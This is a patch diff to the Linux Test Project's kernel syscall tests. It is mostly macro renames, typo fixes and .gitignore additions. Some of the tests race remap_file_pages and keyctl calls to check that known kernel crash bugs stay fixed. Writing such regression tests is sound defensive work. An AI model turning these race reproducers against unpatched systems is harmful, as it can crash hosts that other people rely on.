+		do {
+			/* This is the system call that crashed */
+			TEST(syscall(__NR_remap_file_pages, addr, 4096,
+				     0, 0, 0));
+		} while (TST_RET == 0);
+		tst_fzsync_end_race_a(&fzsync_pair);
+
+		if (TST_ERR != EIDRM && TST_ERR != EINVAL) {
+			tst_brk(TBROK | TTERRNO,
+				"Unexpected remap_file_pages() error");
+		}
+
+		/*
+		 * Ensure that a shm segment will actually be destroyed.
+		 * This call may fail on recent kernels (v4.0+) because
+		 * remap_file_pages() already unmapped the shm segment.
+		 */
+		shmdt(addr);
+	}
+
+	tst_res(TPASS, "didn't crash");
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+	shmctl(0xF00F, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.timeout = 20,
+	.setup = setup,
+	.test_all = do_test,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/ipc/shmdt/.gitignore b/testcases/kernel/syscalls/ipc/shmdt/.gitignore
new file mode 100644
index 0000000..b8c6e86
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmdt/.gitignore
@@ -0,0 +1,2 @@
+/shmdt01
+/shmdt02
diff --git a/testcases/kernel/syscalls/ipc/shmget/.gitignore b/testcases/kernel/syscalls/ipc/shmget/.gitignore
new file mode 100644
index 0000000..728e434
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/shmget/.gitignore
@@ -0,0 +1,5 @@
+/shmget01
+/shmget02
+/shmget03
+/shmget04
+/shmget05
diff --git a/testcases/kernel/syscalls/kcmp/.gitignore b/testcases/kernel/syscalls/kcmp/.gitignore
new file mode 100644
index 0000000..a298f9f
--- /dev/null
+++ b/testcases/kernel/syscalls/kcmp/.gitignore
@@ -0,0 +1,3 @@
+/kcmp01
+/kcmp02
+/kcmp03
diff --git a/testcases/kernel/syscalls/kcmp/kcmp01.c b/testcases/kernel/syscalls/kcmp/kcmp01.c
index 1143ad6..f37fff1 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp01.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp01.c
@@ -84,15 +84,15 @@
 	SAFE_CLOSE(fd2);
 	SAFE_CLOSE(fd3);
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "kcmp() failed unexpectedly");
 		return;
 	}
 
-	if ((test->exp_different && TEST_RETURN == 0)
-		|| (test->exp_different == 0 && TEST_RETURN)) {
+	if ((test->exp_different && TST_RET == 0)
+		|| (test->exp_different == 0 && TST_RET)) {
 		tst_res(TFAIL, "kcmp() returned %lu instead of %d",
-			TEST_RETURN, test->exp_different);
+			TST_RET, test->exp_different);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/kcmp/kcmp02.c b/testcases/kernel/syscalls/kcmp/kcmp02.c
index 33f132f..189518f 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp02.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp02.c
@@ -87,12 +87,12 @@
 	TEST(kcmp(*(test->pid1), *(test->pid2), test->type,
 		  *(test->fd1), *(test->fd2)));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "kcmp() succeeded unexpectedly");
 		return;
 	}
 
-	if (test->exp_errno == TEST_ERRNO) {
+	if (test->exp_errno == TST_ERR) {
 		tst_res(TPASS | TTERRNO, "kcmp() returned the expected value");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/kcmp/kcmp03.c b/testcases/kernel/syscalls/kcmp/kcmp03.c
index b6ca40c..a115489 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp03.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp03.c
@@ -67,12 +67,12 @@
 	pid2 = getpid();
 
 	TEST(kcmp(pid1, pid2, *(int *)arg, 0, 0));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "kcmp() failed unexpectedly");
 		return 0;
 	}
 
-	if (TEST_RETURN == 0)
+	if (TST_RET == 0)
 		tst_res(TPASS, "kcmp() returned the expected value");
 	else
 		tst_res(TFAIL, "kcmp() returned the unexpected value");
diff --git a/testcases/kernel/syscalls/keyctl/.gitignore b/testcases/kernel/syscalls/keyctl/.gitignore
new file mode 100644
index 0000000..3544ac7
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/.gitignore
@@ -0,0 +1,8 @@
+/keyctl01
+/keyctl02
+/keyctl03
+/keyctl04
+/keyctl05
+/keyctl06
+/keyctl07
+/keyctl08
diff --git a/testcases/kernel/syscalls/keyctl/keyctl01.c b/testcases/kernel/syscalls/keyctl/keyctl01.c
index 5719d55..d826a8c 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl01.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl01.c
@@ -35,24 +35,24 @@
 	key_serial_t key;
 
 	TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_USER_SESSION_KEYRING));
-	if (TEST_RETURN != -1)
+	if (TST_RET != -1)
 		tst_res(TPASS, "KEYCTL_GET_KEYRING_ID succeeded");
 	else
 		tst_res(TFAIL | TTERRNO, "KEYCTL_GET_KEYRING_ID failed");
 
 	for (key = INT32_MAX; key > INT32_MIN; key--) {
 		TEST(keyctl(KEYCTL_READ, key));
-		if (TEST_RETURN == -1 && TEST_ERRNO == ENOKEY)
+		if (TST_RET == -1 && TST_ERR == ENOKEY)
 			break;
 	}
 
 	TEST(keyctl(KEYCTL_REVOKE, key));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "KEYCTL_REVOKE succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != ENOKEY) {
+	if (TST_ERR != ENOKEY) {
 		tst_res(TFAIL | TTERRNO, "KEYCTL_REVOKE failed unexpectedly");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/keyctl/keyctl02.c b/testcases/kernel/syscalls/keyctl/keyctl02.c
index 515da96..be5ad85 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl02.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl02.c
@@ -44,6 +44,7 @@
 #include "lapi/keyctl.h"
 
 #define LOOPS	20000
+#define MAX_WAIT_FOR_GC_MS 5000
 #define PATH_KEY_COUNT_QUOTA	"/proc/sys/kernel/keys/root_maxkeys"
 
 static int orig_maxkeys;
@@ -69,8 +70,8 @@
 
 static void do_test(void)
 {
-	int i;
-	key_serial_t key;
+	int i, ret;
+	key_serial_t key, key_inv;
 	pthread_t pth[4];
 
 	for (i = 0; i < LOOPS; i++) {
@@ -94,13 +95,46 @@
 		SAFE_PTHREAD_JOIN(pth[3], NULL);
 	}
 
+	/*
+	 * Kernel should start garbage collect when last reference to key
+	 * is removed (see key_put()). Since we are adding keys with identical
+	 * description and type, each replacement should schedule a gc run,
+	 * see comment at __key_link().
+	 *
+	 * We create extra key here, to remove reference to last revoked key.
+	 */
+	key_inv = add_key("user", "ltptestkey", "foo", 3,
+		KEY_SPEC_PROCESS_KEYRING);
+	if (key_inv == -1)
+		tst_brk(TBROK | TERRNO, "Failed to add key");
+
+	/*
+	 * If we have invalidate, we can drop extra key immediately as well,
+	 * which also schedules gc.
+	 */
+	if (keyctl(KEYCTL_INVALIDATE, key_inv) == -1 && errno != EOPNOTSUPP)
+		tst_brk(TBROK | TERRNO, "Failed to invalidate key");
+
+	/*
+	 * At this point we are quite confident that gc has been scheduled,
+	 * so we wait and periodically check for last test key to be removed.
+	 */
+	for (i = 0; i < MAX_WAIT_FOR_GC_MS; i += 100) {
+		ret = keyctl(KEYCTL_REVOKE, key);
+		if (ret == -1 && errno == ENOKEY)
+			break;
+		usleep(100*1000);
+	}
+
+	if (i)
+		tst_res(TINFO, "waiting for key gc took: %d ms", i);
 	tst_res(TPASS, "Bug not reproduced");
 }
 
 static void setup(void)
 {
 	SAFE_FILE_SCANF(PATH_KEY_COUNT_QUOTA, "%d", &orig_maxkeys);
-	SAFE_FILE_PRINTF(PATH_KEY_COUNT_QUOTA, "%d", orig_maxkeys + LOOPS);
+	SAFE_FILE_PRINTF(PATH_KEY_COUNT_QUOTA, "%d", orig_maxkeys + LOOPS + 1);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/keyctl/keyctl03.c b/testcases/kernel/syscalls/keyctl/keyctl03.c
index 5c066f7..90e00f8 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl03.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl03.c
@@ -45,7 +45,7 @@
 	request_key("keyring", "foo", "bar", KEY_SPEC_THREAD_KEYRING);
 
 	TEST(keyctl(KEYCTL_UNLINK, key, KEY_SPEC_SESSION_KEYRING));
-	if (TEST_RETURN)
+	if (TST_RET)
 		tst_res(TFAIL | TTERRNO, "keyctl unlink failed");
 	else
 		tst_res(TPASS, "Bug not reproduced");
diff --git a/testcases/kernel/syscalls/keyctl/keyctl04.c b/testcases/kernel/syscalls/keyctl/keyctl04.c
index be9ceeb..6e1b4b3 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl04.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl04.c
@@ -36,18 +36,18 @@
 	key_serial_t tid_keyring;
 
 	TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_THREAD_KEYRING, 1));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "failed to create thread keyring");
-	tid_keyring = TEST_RETURN;
+	tid_keyring = TST_RET;
 
 	TEST(keyctl(KEYCTL_SET_REQKEY_KEYRING, KEY_REQKEY_DEFL_THREAD_KEYRING));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "failed to set reqkey keyring");
 
 	TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_THREAD_KEYRING, 0));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "failed to get thread keyring ID");
-	if (TEST_RETURN == tid_keyring)
+	if (TST_RET == tid_keyring)
 		tst_res(TPASS, "thread keyring was not leaked");
 	else
 		tst_res(TFAIL, "thread keyring was leaked!");
diff --git a/testcases/kernel/syscalls/keyctl/keyctl05.c b/testcases/kernel/syscalls/keyctl/keyctl05.c
index 9ba6120..e2ed8ad 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl05.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl05.c
@@ -43,9 +43,6 @@
 #include "tst_test.h"
 #include "lapi/keyctl.h"
 
-#define KEY_POS_WRITE	0x04000000
-#define KEY_POS_ALL	0x3f000000
-
 /*
  * A valid payload for the "asymmetric" key type.  This is an x509 certificate
  * in DER format, generated using:
@@ -89,7 +86,7 @@
 static void new_session_keyring(void)
 {
 	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
 }
 
@@ -101,18 +98,18 @@
 	new_session_keyring();
 
 	TEST(add_key(type, "desc", payload, plen, KEY_SPEC_SESSION_KEYRING));
-	if (TEST_RETURN < 0) {
-		if (TEST_ERRNO == ENODEV) {
+	if (TST_RET < 0) {
+		if (TST_ERR == ENODEV) {
 			tst_res(TCONF, "kernel doesn't support key type '%s'",
 				type);
 			return;
 		}
-		if (TEST_ERRNO == EBADMSG && !strcmp(type, "asymmetric")) {
+		if (TST_ERR == EBADMSG && !strcmp(type, "asymmetric")) {
 			tst_res(TCONF, "kernel is missing x509 cert parser "
 				"(CONFIG_X509_CERTIFICATE_PARSER)");
 			return;
 		}
-		if (TEST_ERRNO == ENOENT && !strcmp(type, "asymmetric")) {
+		if (TST_ERR == ENOENT && !strcmp(type, "asymmetric")) {
 			tst_res(TCONF, "kernel is missing crypto algorithms "
 				"needed to parse x509 cert (CONFIG_CRYPTO_RSA "
 				"and/or CONFIG_CRYPTO_SHA256)");
@@ -122,14 +119,14 @@
 			type);
 		return;
 	}
-	keyid = TEST_RETURN;
+	keyid = TST_RET;
 
 	/*
 	 * Non-updatable keys don't start with write permission, so we must
 	 * explicitly grant it.
 	 */
 	TEST(keyctl(KEYCTL_SETPERM, keyid, KEY_POS_ALL));
-	if (TEST_RETURN != 0) {
+	if (TST_RET != 0) {
 		tst_res(TBROK | TTERRNO,
 			"failed to grant write permission to '%s' key", type);
 		return;
@@ -137,12 +134,12 @@
 
 	tst_res(TINFO, "Try to update the '%s' key...", type);
 	TEST(keyctl(KEYCTL_UPDATE, keyid, payload, plen));
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		tst_res(TBROK,
 			"updating '%s' key unexpectedly succeeded", type);
 		return;
 	}
-	if (TEST_ERRNO != EOPNOTSUPP) {
+	if (TST_ERR != EOPNOTSUPP) {
 		tst_res(TBROK | TTERRNO,
 			"updating '%s' key unexpectedly failed", type);
 		return;
@@ -165,11 +162,11 @@
 
 	TEST(add_key("user", "desc", payload, sizeof(payload),
 		KEY_SPEC_SESSION_KEYRING));
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_res(TBROK | TTERRNO, "failed to add 'user' key");
 		return;
 	}
-	keyid = TEST_RETURN;
+	keyid = TST_RET;
 
 	if (SAFE_FORK() == 0) {
 		uint32_t perm = KEY_POS_ALL;
@@ -177,7 +174,7 @@
 		for (i = 0; i < 10000; i++) {
 			perm ^= KEY_POS_WRITE;
 			TEST(keyctl(KEYCTL_SETPERM, keyid, perm));
-			if (TEST_RETURN != 0)
+			if (TST_RET != 0)
 				tst_brk(TBROK | TTERRNO, "setperm failed");
 		}
 		exit(0);
@@ -186,7 +183,7 @@
 	tst_res(TINFO, "Try to update the 'user' key...");
 	for (i = 0; i < 10000; i++) {
 		TEST(keyctl(KEYCTL_UPDATE, keyid, payload, sizeof(payload)));
-		if (TEST_RETURN != 0 && TEST_ERRNO != EACCES) {
+		if (TST_RET != 0 && TST_ERR != EACCES) {
 			tst_res(TBROK | TTERRNO, "failed to update 'user' key");
 			return;
 		}
@@ -197,8 +194,11 @@
 
 static void do_test(unsigned int i)
 {
-	/* two 0 bytes is accepted as a dns_resolver key payload */
-	static char zeroes[2];
+	/*
+	 * We need to pass check in dns_resolver_preparse(),
+	 * give it dummy server list request.
+	 */
+	static char dns_res_payload[] = { 0x00, 0x00, 0x01, 0xff, 0x00 };
 
 	switch (i) {
 	case 0:
@@ -206,8 +206,8 @@
 					 x509_cert, sizeof(x509_cert));
 		break;
 	case 1:
-		test_update_nonupdatable("dns_resolver",
-					 zeroes, sizeof(zeroes));
+		test_update_nonupdatable("dns_resolver", dns_res_payload,
+			sizeof(dns_res_payload));
 		break;
 	case 2:
 		test_update_setperm_race();
diff --git a/testcases/kernel/syscalls/keyctl/keyctl06.c b/testcases/kernel/syscalls/keyctl/keyctl06.c
index c62010e..bab26ee 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl06.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl06.c
@@ -37,7 +37,7 @@
 {
 	TEST(add_key("user", description, "payload", 7,
 		     KEY_SPEC_PROCESS_KEYRING));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "Failed to add test key");
 }
 
@@ -51,7 +51,7 @@
 	memset(key_ids, 0, sizeof(key_ids));
 	TEST(keyctl(KEYCTL_READ, KEY_SPEC_PROCESS_KEYRING,
 		    (char *)key_ids, sizeof(key_serial_t)));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "KEYCTL_READ failed");
 
 	/*
@@ -63,9 +63,9 @@
 	if (key_ids[1] != 0)
 		tst_brk(TFAIL, "KEYCTL_READ overran the buffer");
 
-	if (TEST_RETURN != sizeof(key_ids)) {
+	if (TST_RET != sizeof(key_ids)) {
 		tst_brk(TFAIL, "KEYCTL_READ returned %ld but expected %zu",
-			TEST_RETURN, sizeof(key_ids));
+			TST_RET, sizeof(key_ids));
 	}
 
 	tst_res(TPASS,
diff --git a/testcases/kernel/syscalls/keyctl/keyctl07.c b/testcases/kernel/syscalls/keyctl/keyctl07.c
index 08a585b..e067ac0 100644
--- a/testcases/kernel/syscalls/keyctl/keyctl07.c
+++ b/testcases/kernel/syscalls/keyctl/keyctl07.c
@@ -49,10 +49,10 @@
 	 */
 	TEST(request_key("user", "description", "callout_info",
 			 KEY_SPEC_PROCESS_KEYRING));
-	if (TEST_RETURN != -1)
+	if (TST_RET != -1)
 		tst_brk(TBROK, "request_key() unexpectedly succeeded");
 
-	if (TEST_ERRNO != ENOKEY && TEST_ERRNO != ENOENT) {
+	if (TST_ERR != ENOKEY && TST_ERR != ENOENT) {
 		tst_brk(TBROK | TTERRNO,
 			"request_key() failed with unexpected error");
 	}
@@ -60,11 +60,11 @@
 	/* Get the ID of the negative key by reading the keyring */
 	TEST(keyctl(KEYCTL_READ, KEY_SPEC_PROCESS_KEYRING,
 		    &key_id, sizeof(key_id)));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "KEYCTL_READ unexpectedly failed");
-	if (TEST_RETURN != sizeof(key_id)) {
+	if (TST_RET != sizeof(key_id)) {
 		tst_brk(TBROK, "KEYCTL_READ returned %ld but expected %zu",
-			TEST_RETURN, sizeof(key_id));
+			TST_RET, sizeof(key_id));
 	}
 
 	/*
@@ -73,11 +73,11 @@
 	 */
 	tst_res(TINFO, "trying to read from the negative key...");
 	TEST(keyctl(KEYCTL_READ, key_id, buffer, sizeof(buffer)));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_brk(TFAIL,
 			"KEYCTL_READ on negative key unexpectedly succeeded");
 	}
-	if (TEST_ERRNO != ENOKEY) {
+	if (TST_ERR != ENOKEY) {
 		tst_brk(TFAIL | TTERRNO,
 			"KEYCTL_READ on negative key failed with unexpected error");
 	}
diff --git a/testcases/kernel/syscalls/kill/.gitignore b/testcases/kernel/syscalls/kill/.gitignore
new file mode 100644
index 0000000..490a1e2
--- /dev/null
+++ b/testcases/kernel/syscalls/kill/.gitignore
@@ -0,0 +1,12 @@
+/kill01
+/kill02
+/kill03
+/kill04
+/kill05
+/kill06
+/kill07
+/kill08
+/kill09
+/kill10
+/kill11
+/kill12
diff --git a/testcases/kernel/syscalls/kill/kill06.c b/testcases/kernel/syscalls/kill/kill06.c
index aa6ba5d..7a1e8bf 100644
--- a/testcases/kernel/syscalls/kill/kill06.c
+++ b/testcases/kernel/syscalls/kill/kill06.c
@@ -120,7 +120,7 @@
 			TEST(kill(-getpgrp(), TEST_SIG));
 			sleep(300);
 
-			tst_resm(TINFO, "%d never recieved a"
+			tst_resm(TINFO, "%d never received a"
 				 " signal", getpid());
 			exit(exno);
 		} else {
@@ -162,7 +162,7 @@
 
 	sleep(299);
 
-	tst_resm(TINFO, "%d never recieved a" " signal", getpid());
+	tst_resm(TINFO, "%d never received a" " signal", getpid());
 	exit(exno);
 }
 
diff --git a/testcases/kernel/syscalls/kill/kill07.c b/testcases/kernel/syscalls/kill/kill07.c
index b71064a..60904dd 100644
--- a/testcases/kernel/syscalls/kill/kill07.c
+++ b/testcases/kernel/syscalls/kill/kill07.c
@@ -199,7 +199,7 @@
 	int exno = 1;
 
 	sleep(300);
-	tst_resm(TINFO, "Child never recieved a signal");
+	tst_resm(TINFO, "Child never received a signal");
 	exit(exno);
 }
 
diff --git a/testcases/kernel/syscalls/kill/kill10.c b/testcases/kernel/syscalls/kill/kill10.c
index 33dbcd3..f35dbeb 100644
--- a/testcases/kernel/syscalls/kill/kill10.c
+++ b/testcases/kernel/syscalls/kill/kill10.c
@@ -329,7 +329,7 @@
 			    ("%d: Master pausing for Managers to check in (%d/%d)\n",
 			     mypid, pgrps_ready, num_pgrps);
 		/*
-		 * We might recieve the signal from the (last manager) before
+		 * We might receive the signal from the (last manager) before
 		 * we issue a pause. In that case we might hang even if we have
 		 * all the managers reported in. So set an alarm so that we can
 		 * wake up.
@@ -704,7 +704,7 @@
 				if (debug_flag >= 8)
 					printf("%d: child pausing\n", mypid);
 				/*
-				 * If we have already recieved the signal, we dont
+				 * If we have already received the signal, we dont
 				 * want to pause for it !
 				 */
 				while (!signal_parents_flag) {
diff --git a/testcases/kernel/syscalls/lchown/.gitignore b/testcases/kernel/syscalls/lchown/.gitignore
new file mode 100644
index 0000000..e3c7bc2
--- /dev/null
+++ b/testcases/kernel/syscalls/lchown/.gitignore
@@ -0,0 +1,6 @@
+/lchown01
+/lchown01_16
+/lchown02
+/lchown02_16
+/lchown03
+/lchown03_16
diff --git a/testcases/kernel/syscalls/lchown/lchown02.c b/testcases/kernel/syscalls/lchown/lchown02.c
index 326e584..97966f6 100644
--- a/testcases/kernel/syscalls/lchown/lchown02.c
+++ b/testcases/kernel/syscalls/lchown/lchown02.c
@@ -74,12 +74,13 @@
 TCID_DEFINE(lchown02);
 int TST_TOTAL = 7;
 
+static void setup(void);
+static void cleanup(void);
 static void setup_eperm(int pos);
 static void setup_eacces(int pos);
 static void setup_enotdir(int pos);
 static void setup_longpath(int pos);
 static void setup_efault(int pos);
-static void setup_highaddress(int pos);
 
 static char path[PATH_MAX + 2];
 
@@ -93,7 +94,6 @@
 static struct test_case_t test_cases[] = {
 	{SFILE1, "Process is not owner/root", EPERM, setup_eperm},
 	{SFILE2, "Search permission denied", EACCES, setup_eacces},
-	{NULL, "Address beyond address space", EFAULT, setup_highaddress},
 	{NULL, "Unaccessible address space", EFAULT, setup_efault},
 	{path, "Pathname too long", ENAMETOOLONG, setup_longpath},
 	{SFILE3, "Path contains regular file", ENOTDIR, setup_enotdir},
@@ -103,9 +103,6 @@
 
 static struct passwd *ltpuser;
 
-static void setup(void);
-static void cleanup(void);
-
 int main(int argc, char *argv[])
 {
 	int lc;
@@ -252,26 +249,7 @@
  */
 static void setup_efault(int pos)
 {
-	char *bad_addr = 0;
-
-	bad_addr = mmap(NULL, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, -1, 0);
-
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "mmap failed");
-
-	test_cases[pos].pathname = bad_addr;
-}
-
-/*
- * setup_efault() -- setup for a test condition where lchown(2) returns -1 and
- *                   sets errno to EFAULT.
- *
- * Use ltp function get_high_address() to compute high address.
- */
-static void setup_highaddress(int pos)
-{
-	test_cases[pos].pathname = get_high_address();
+	test_cases[pos].pathname = tst_get_bad_addr(cleanup);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/lgetxattr/.gitignore b/testcases/kernel/syscalls/lgetxattr/.gitignore
new file mode 100644
index 0000000..26160f5
--- /dev/null
+++ b/testcases/kernel/syscalls/lgetxattr/.gitignore
@@ -0,0 +1,2 @@
+/lgetxattr01
+/lgetxattr02
diff --git a/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c b/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
index 301d532..1165db0 100644
--- a/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
+++ b/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
@@ -73,17 +73,17 @@
 	char buf[size];
 
 	TEST(lgetxattr("symlink", SECURITY_KEY2, buf, size));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "lgetxattr() failed");
 		goto next;
 	}
 
-	if (TEST_RETURN != strlen(VALUE2)) {
+	if (TST_RET != strlen(VALUE2)) {
 		tst_res(TFAIL, "lgetxattr() got unexpected value size");
 		goto next;
 	}
 
-	if (!strncmp(buf, VALUE2, TEST_RETURN))
+	if (!strncmp(buf, VALUE2, TST_RET))
 		tst_res(TPASS, "lgetxattr() got expected value");
 	else
 		tst_res(TFAIL, "lgetxattr() got unexpected value");
@@ -91,12 +91,12 @@
 next:
 	TEST(lgetxattr("symlink", SECURITY_KEY1, buf, size));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "lgetxattr() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == ENODATA) {
+	if (TST_ERR == ENODATA) {
 		tst_res(TPASS | TTERRNO, "lgetxattr() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO, "lgetxattr() failed unexpectedly,"
diff --git a/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c b/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c
index ebc28f2..c29d5c0 100644
--- a/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c
+++ b/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c
@@ -62,12 +62,12 @@
 	char buf[tc->size];
 
 	TEST(lgetxattr(tc->path, SECURITY_KEY, buf, sizeof(buf)));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "lgetxattr() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_err) {
+	if (TST_ERR != tc->exp_err) {
 		tst_res(TFAIL | TTERRNO, "lgetxattr() failed unexpectedlly, "
 			"expected %s", tst_strerrno(tc->exp_err));
 	} else {
diff --git a/testcases/kernel/syscalls/link/.gitignore b/testcases/kernel/syscalls/link/.gitignore
new file mode 100644
index 0000000..83e61ae
--- /dev/null
+++ b/testcases/kernel/syscalls/link/.gitignore
@@ -0,0 +1,7 @@
+/link02
+/link03
+/link04
+/link05
+/link06
+/link07
+/link08
diff --git a/testcases/kernel/syscalls/link/link04.c b/testcases/kernel/syscalls/link/link04.c
index 679753f..d940884 100644
--- a/testcases/kernel/syscalls/link/link04.c
+++ b/testcases/kernel/syscalls/link/link04.c
@@ -51,12 +51,7 @@
 #include "test.h"
 #include "safe_macros.h"
 
-static char *bad_addr = 0;
-
 static char longpath[PATH_MAX + 2];
-#if !defined(UCLINUX)
-char high_addr[64];
-#endif
 
 struct test_case_t {
 	char *file1;
@@ -73,10 +68,7 @@
 	{"regfile/file", "path contains a regular file", "nefile", "nefile",
 	 ENOTDIR},
 	{longpath, "pathname too long", "nefile", "nefile", ENAMETOOLONG},
-#if !defined(UCLINUX)
-	{high_addr, "address beyond address space", "nefile", "nefile", EFAULT},
-#endif
-	{(char *)-1, "negative address", "nefile", "nefile", EFAULT},
+	{NULL, "invalid address", "nefile", "nefile", EFAULT},
 	/* second path is invalid */
 	{"regfile", "regfile", "", "empty string", ENOENT},
 	{"regfile", "regfile", "neefile/file",
@@ -84,11 +76,7 @@
 	{"regfile", "regfile", "file/file",
 		    "path contains a regular file", ENOENT},
 	{"regfile", "regfile", longpath, "pathname too long", ENAMETOOLONG},
-#if !defined(UCLINUX)
-	{"regfile", "regfile", high_addr,
-		    "address beyond address space", EFAULT},
-#endif
-	{"regfile", "regfile", (char *)-1, "negative address", EFAULT},
+	{"regfile", "regfile", NULL, "invalid address", EFAULT},
 	/* two existing files */
 	{"regfile", "regfile", "regfile2", "regfile2", EEXIST},
 };
@@ -121,14 +109,6 @@
 			fname2 = test_cases[i].file2;
 			desc2 = test_cases[i].desc2;
 
-#if !defined(UCLINUX)
-			if (fname1 == high_addr)
-				fname1 = get_high_address();
-
-			if (fname2 == high_addr)
-				fname2 = get_high_address();
-#endif
-
 			TEST(link(fname1, fname2));
 
 			if (TEST_RETURN == -1) {
@@ -160,23 +140,28 @@
 
 static void setup(void)
 {
+	int n;
+
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
 	TEST_PAUSE;
 
 	tst_tmpdir();
 
-#if !defined(UCLINUX)
-	bad_addr = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-	                     MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	test_cases[6].file1 = bad_addr;
-	test_cases[12].file2 = bad_addr;
-#endif
-
 	memset(longpath, 'a', PATH_MAX+1);
 	SAFE_TOUCH(cleanup, "regfile", 0777, NULL);
 	SAFE_TOUCH(cleanup, "regfile2", 0777, NULL);
 	SAFE_MKDIR(cleanup, "dir", 0777);
+
+	void *bad_addr = tst_get_bad_addr(cleanup);
+
+	for (n = 0; n < TST_TOTAL; n++) {
+		if (!test_cases[n].file1)
+			test_cases[n].file1 = bad_addr;
+
+		if (!test_cases[n].file2)
+			test_cases[n].file2 = bad_addr;
+	}
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/link/link08.c b/testcases/kernel/syscalls/link/link08.c
index 8cb72d1..775c0c2 100644
--- a/testcases/kernel/syscalls/link/link08.c
+++ b/testcases/kernel/syscalls/link/link08.c
@@ -15,7 +15,6 @@
  * You should have received a copy of the GNU General Public License
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *
  */
 /*
  * Test Description:
@@ -32,134 +31,70 @@
  *   4. link() fails with -1 return value and sets errno to ELOOP
  *      if too many symbolic links were encountered in resolving path.
  */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <pwd.h>
-#include <sys/mount.h>
-
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
 #define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \
 			 S_IXGRP|S_IROTH|S_IXOTH)
 #define MNT_POINT	"mntpoint"
 #define TEST_FILE	"testfile"
 #define TEST_FILE1	"testfile1"
-#define TEST_FILE2	"mntpoint/testfile3"
+#define TEST_FILE2	"mntpoint/file"
 #define TEST_FILE3	"mntpoint/testfile4"
 
